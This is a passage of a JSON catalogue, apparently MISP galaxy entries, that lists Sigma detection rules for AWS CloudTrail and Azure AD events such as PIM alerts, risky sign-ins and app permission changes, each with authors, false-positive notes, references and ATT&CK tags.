        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_config_disable_recording.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "07330162-dba1-4746-8121-a9647d49d297",
      "value": "AWS Config Disabling Channel/Recorder"
    },
    {
      "description": "Detects when an ElastiCache security group has been created.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_elasticache_security_group_created.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_elasticache_security_group_created.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136",
          "attack.t1136.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ae68615-866f-4304-b24b-ba048dfa5ca7",
      "value": "AWS ElastiCache Security Group Created"
    },
    {
      "description": "Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.",
      "meta": {
        "author": "Sean Johnstone | Unit 42",
        "creation_date": "2023/10/28",
        "falsepositive": [
          "AWS administrator legitimately disabling bucket versioning"
        ],
        "filename": "aws_disable_bucket_versioning.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_disable_bucket_versioning.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a136ac98-b2bc-4189-a14d-f0d0388e57a7",
      "value": "AWS S3 Bucket Versioning Disable"
    },
    {
      "description": "Identifies an event where there are there are too many accounts assigned the Global Administrator role.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/14",
        "falsepositive": [
          "Investigate if threshold setting in PIM is too low."
        ],
        "filename": "azure_pim_too_many_global_admins.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-how-to-configure-security-alerts#there-are-too-many-global-administrators",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_too_many_global_admins.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7bbc309f-e2b1-4eb1-8369-131a367d67d3",
      "value": "Too Many Global Admins"
    },
    {
      "description": "Identifies when a user has been assigned a privilege role and are not using that role.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/14",
        "falsepositive": [
          "Investigate if potential generic account that cannot be removed."
        ],
        "filename": "azure_pim_role_not_used.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-how-to-configure-security-alerts#administrators-arent-using-their-privileged-roles",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_not_used.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8c6ec464-4ae4-43ac-936a-291da66ed13d",
      "value": "Roles Are Not Being Used"
    },
    {
      "description": "Identifies when the same privilege role has multiple activations by the same user.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/14",
        "falsepositive": [
          "Investigate where if active time period for a role is set too short."
        ],
        "filename": "azure_pim_role_frequent_activation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-activated-too-frequently",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_frequent_activation.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "645fd80d-6c07-435b-9e06-7bc1b5656cba",
      "value": "Roles Activated Too Frequently"
    },
    {
      "description": "Identifies when an organization doesn't have the proper license for PIM and is out of compliance.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/14",
        "falsepositive": [
          "Investigate if licenses have expired."
        ],
        "filename": "azure_pim_invalid_license.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-how-to-configure-security-alerts#the-organization-doesnt-have-microsoft-entra-premium-p2-or-microsoft-entra-id-governance",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_invalid_license.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "58af08eb-f9e1-43c8-9805-3ad9b0482bd8",
      "value": "Invalid PIM License"
    },
    {
      "description": "Identifies when a privilege role can be activated without performing mfa.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/14",
        "falsepositive": [
          "Investigate if user is performing MFA at sign-in."
        ],
        "filename": "azure_pim_role_no_mfa_required.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-how-to-configure-security-alerts#roles-dont-require-multi-factor-authentication-for-activation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_no_mfa_required.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "94a66f46-5b64-46ce-80b2-75dcbe627cc0",
      "value": "Roles Activation Doesn't Require MFA"
    },
    {
      "description": "Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/14",
        "falsepositive": [
          "Investigate where users are being assigned privileged roles outside of Privileged Identity Management and prohibit future assignments from there."
        ],
        "filename": "azure_pim_role_assigned_outside_of_pim.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-assigned-outside-of-privileged-identity-management",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_assigned_outside_of_pim.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1bc08d1-8224-4758-a0e6-fbcfc98c73bb",
      "value": "Roles Assigned Outside PIM"
    },
    {
      "description": "Identifies when an account hasn't signed in during the past n number of days.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/14",
        "falsepositive": [
          "Investigate if potential generic account that cannot be removed."
        ],
        "filename": "azure_pim_account_stale.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-how-to-configure-security-alerts#potential-stale-accounts-in-a-privileged-role",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_account_stale.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e402c26a-267a-45bd-9615-bd9ceda6da85",
      "value": "Stale Accounts In A Privileged Role"
    },
    {
      "description": "Alert on when legacy authentication has been used on an account",
      "meta": {
        "author": "Yochana Henderson, '@Yochana-H'",
        "creation_date": "2022/06/17",
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        "logsource.category": "No established category",
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        "refs": [
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    {
      "description": "Detect successful authentications from countries you do not operate out of.",
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          "If this was approved by System Administrator."
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        "filename": "azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml",
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        "logsource.category": "No established category",
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        "creation_date": "2023/09/03",
        "falsepositive": [
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        "creation_date": "2023/09/03",
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        "filename": "azure_identity_protection_malware_linked_ip.yml",
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          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
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        "creation_date": "2023/09/07",
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        "filename": "azure_identity_protection_malicious_ip_address_suspicious.yml",
        "level": "high",
        "logsource.category": "No established category",
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          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
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        }
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      "uuid": "36440e1c-5c22-467a-889b-593e66498472",
      "value": "Malicious IP Address Sign-In Suspicious"
    },
    {
      "description": "Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/03",
        "falsepositive": [
          "User changing to a new device, location, browser, etc."
        ],
        "filename": "azure_identity_protection_unfamilar_sign_in.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#unfamiliar-sign-in-properties",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_unfamilar_sign_in.yml"
        ],
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          "attack.t1078",
          "attack.persistence",
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      },
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      "uuid": "128faeef-79dd-44ca-b43c-a9e236a60f49",
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    },
    {
      "description": "Indicates sign-in from a malicious IP address based on high failure rates.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/07",
        "falsepositive": [
          "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user."
        ],
        "filename": "azure_identity_protection_malicious_ip_address.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#malicious-ip-address",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_malicious_ip_address.yml"
        ],
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        ]
      },
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        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
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      ],
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    {
      "description": "Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/03",
        "falsepositive": [
          "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user."
        ],
        "filename": "azure_identity_protection_token_issuer_anomaly.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#token-issuer-anomaly",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_token_issuer_anomaly.yml"
        ],
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      },
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        {
          "dest-uuid": "94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
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          ],
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      ],
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    {
      "description": "Indicates that the user's valid credentials have been leaked.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/03",
        "falsepositive": [
          "A rare hash collision."
        ],
        "filename": "azure_identity_protection_leaked_credentials.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#leaked-credentials",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_leaked_credentials.yml"
        ],
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      "uuid": "19128e5e-4743-48dc-bd97-52e5775af817",
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    {
      "description": "Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow'",
        "creation_date": "2023/08/07",
        "falsepositive": [
          "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user."
        ],
        "filename": "azure_identity_protection_anomalous_token.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#anomalous-token",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_token.yml"
        ],
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        {
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      "uuid": "6555754e-5e7f-4a67-ad1c-4041c413a007",
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    {
      "description": "Indicates user activity that is unusual for the user or consistent with known attack patterns.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/07",
        "falsepositive": [
          "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user."
        ],
        "filename": "azure_identity_protection_threat_intel.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-user",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#azure-ad-threat-intelligence-sign-in",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_threat_intel.yml"
        ],
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      },
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          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
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      "uuid": "a2cb56ff-4f46-437a-a0fa-ffa4d1303cba",
      "value": "Azure AD Threat Intelligence"
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    {
      "description": "Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/03",
        "falsepositive": [
          "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user."
        ],
        "filename": "azure_identity_protection_anonymous_ip_activity.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#activity-from-anonymous-ip-address",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anonymous_ip_activity.yml"
        ],
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          "attack.t1078",
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          "attack.privilege_escalation",
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        ]
      },
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        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "be4d9c86-d702-4030-b52e-c7859110e5e8",
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    },
    {
      "description": "Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/03",
        "falsepositive": [
          "Connecting to a VPN, performing activity and then dropping and performing additional activity."
        ],
        "filename": "azure_identity_protection_impossible_travel.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#impossible-travel",
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_impossible_travel.yml"
        ],
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        ]
      },
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        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
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          ],
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      "uuid": "b2572bf9-e20a-4594-b528-40bde666525a",
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    {
      "description": "Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/03",
        "falsepositive": [
          "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user."
        ],
        "filename": "azure_identity_protection_suspicious_browser.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#suspicious-browser",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_suspicious_browser.yml"
        ],
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        {
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      "description": "Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'",
        "creation_date": "2023/09/03",
        "falsepositive": [
          "We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user."
        ],
        "filename": "azure_identity_protection_anomalous_user.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://learn.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#anomalous-user-activity",
          "https://learn.microsoft.com/en-us/azure/active-directory/architecture/security-operations-user-accounts#unusual-sign-ins",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/identity_protection/azure_identity_protection_anomalous_user.yml"
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      "meta": {
        "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'",
        "creation_date": "2022/07/28",
        "falsepositive": [
          "Unknown"
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        "filename": "azure_app_end_user_consent.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_end_user_consent.yml"
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        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
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      "meta": {
        "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'",
        "creation_date": "2022/07/19",
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          "When the permission is legitimately needed for the app"
        ],
        "filename": "azure_app_role_added.yml",
        "level": "medium",
        "logsource.category": "No established category",
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        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_role_added.yml"
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        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_change_to_authentication_method.yml"
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      "meta": {
        "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "A non malicious user is unaware of the proper process"
        ],
        "filename": "azure_guest_invite_failure.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor",
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          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
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      "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "Administrator adding a legitimate temporary access pass"
        ],
        "filename": "azure_tap_added.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_tap_added.yml"
        ],
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      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "If this was approved by System Administrator."
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        "filename": "azure_subscription_permissions_elevation_via_auditlogs.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_subscription_permissions_elevation_via_auditlogs.yml"
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        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
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    {
      "description": "Detects when an account was created and deleted in a short period of time.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton",
        "creation_date": "2022/08/11",
        "falsepositive": [
          "Legit administrative action"
        ],
        "filename": "azure_ad_account_created_deleted.yml",
        "level": "high",
        "logsource.category": "No established category",
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        "logsource.category": "No established category",
        "logsource.product": "azure",
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          ],
          "type": "related-to"
        }
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      "uuid": "aeaef14c-e5bf-4690-a9c8-835caad458bd",
      "value": "PIM Alert Setting Changes To Disabled"
    },
    {
      "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'",
        "creation_date": "2022/06/02",
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          "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event."
        ],
        "filename": "azure_app_uri_modifications.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_uri_modifications.yml"
        ],
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          "attack.t1528",
          "attack.t1078.004",
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          "attack.credential_access",
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        ]
      },
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          ],
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        },
        {
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          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "0055ad1f-be85-4798-83cf-a6da17c993b3",
      "value": "Application URI Configuration Changes"
    },
    {
      "description": "Detects when a configuration change is made to an applications AppID URI.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'",
        "creation_date": "2022/06/02",
        "falsepositive": [
          "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event."
        ],
        "filename": "azure_app_appid_uri_changes.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_appid_uri_changes.yml"
        ],
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          "attack.credential_access",
          "attack.privilege_escalation",
          "attack.t1552",
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        ]
      },
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          ],
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        },
        {
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          ],
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      "description": "Detects guest users being invited to tenant by non-approved inviters",
      "meta": {
        "author": "MikeDuddington, '@dudders1'",
        "creation_date": "2022/07/28",
        "falsepositive": [
          "If this was approved by System Administrator."
        ],
        "filename": "azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_guest_users_invited_to_tenant_by_non_approved_inviters.yml"
        ],
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          "attack.initial_access",
          "attack.t1078"
        ]
      },
      "related": [
        {
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          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ad97bf5-a514-41a4-abd3-4f3455ad4865",
      "value": "Guest Users Invited To Tenant By Non Approved Inviters"
    },
    {
      "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'",
        "creation_date": "2022/08/09",
        "falsepositive": [
          "Actual admin using PIM."
        ],
        "filename": "azure_pim_activation_approve_deny.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_pim_activation_approve_deny.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "039a7469-0296-4450-84c0-f6966b16dc6d",
      "value": "PIM Approvals And Deny Elevation"
    },
    {
      "description": "Detects when highly privileged delegated permissions are granted on behalf of all users",
      "meta": {
        "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'",
        "creation_date": "2022/07/28",
        "falsepositive": [
          "When the permission is legitimately needed for the app"
        ],
        "filename": "azure_app_delegated_permissions_all_users.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_delegated_permissions_all_users.yml"
        ],
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          "attack.credential_access",
          "attack.t1528"
        ]
      },
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        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "a6355fbe-f36f-45d8-8efc-ab42465cbc52",
      "value": "Delegated Permissions Granted For All Users"
    },
    {
      "description": "Monitor and alert for changes to the device registration policy.",
      "meta": {
        "author": "Michael Epping, '@mepples21'",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "azure_ad_device_registration_policy_changes.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_ad_device_registration_policy_changes.yml"
        ],
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          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1484"
        ]
      },
      "related": [
        {
